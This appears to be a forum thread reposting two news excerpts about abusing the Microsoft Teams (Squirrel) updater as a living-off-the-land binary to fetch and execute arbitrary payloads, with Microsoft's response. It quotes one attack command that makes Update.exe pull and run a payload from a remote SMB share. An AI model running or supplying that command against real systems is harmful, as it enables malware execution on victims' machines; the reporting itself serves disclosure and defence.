Microsoft Teams Can Be Used to Download and Run Malicious Packages

guest · Jun 28, 2019

Microsoft Teams Can Be Used to Download and Run Malicious Packages
June 28, 2019
https://www.bleepingcomputer.com/ne...-used-to-download-and-run-malicious-packages/

The update mechanism as it is currently implemented in Microsoft Teams desktop app allows downloading and executing arbitrary files on the system.
The same issue affects GitHub, WhatApp, and UiPath software for desktop computers but it can be used only to download a payload.

Multiple security researchers discovered that using the 'update' command for a vulnerable application it is possible to execute an arbitrary binary in the context of the current user. The same goes for 'squirrel.exe.'
Both executables are now part of the Living Off The Land Binaries and Scripts (LOLBAS) database on GitHub, directly accessible here and here.

In a thread on Twitter, Richard explains the process of finding the bug and its root. He started from previous research published in late March by Hexacorn, which focused on living-of-the-land binaries (lolbins) in Electron-based apps.
Click to expand...

Nuget/Squirrel uncontrolled endpoints leads to arbitrary code execution

guest · Aug 5, 2020

Hackers can abuse Microsoft Teams updater to install malware
August 5, 2020
https://www.bleepingcomputer.com/ne...e-microsoft-teams-updater-to-install-malware/

Microsoft Teams can still double as a Living off the Land binary (LoLBin) and help attackers retrieve and execute malware from a remote location.
Previous efforts from Microsoft to eliminate this hazard work to an extent but cannot stop attackers from abusing Teams to plant and run their payloads.
Remote share does the trick
The original method was first disclosed last year and relies on using the ‘update’ command to to run arbitrary binary code in the context of the current user.

In a later variation discovered by reverse engineer Reegun Richard, an attacker could get to the same result using mock Microsoft Teams package with the app’s genuine “Update.Exe,” which executed anything from certain locations.

“The patch previously provided for Teams was to restrict its ability to update via a URL. Instead, the updater allows local connections via a share or local folder for product updates” - Reegun Jayapaul
Click to expand...

With the command below, Microsoft Teams fetches and runs the payload from the remote location within 10-15 seconds, Jayapaul says.

update.exe --update=\\remoteserver\payloadFolder
“Thank you again for submitting this issue to Microsoft. We determined that this behavior is considered to be by design as "we cannot restrict SMB source for –update because we have customers that apparently rely on this (e.g. folder redirection)" - Microsoft
Click to expand...

Log in or Sign up

Microsoft Teams Can Be Used to Download and Run Malicious Packages

guest Guest

guest Guest

Log in or Sign up

Microsoft Teams Can Be Used to Download and Run Malicious Packages

guest Guest

guest Guest

Useful Searches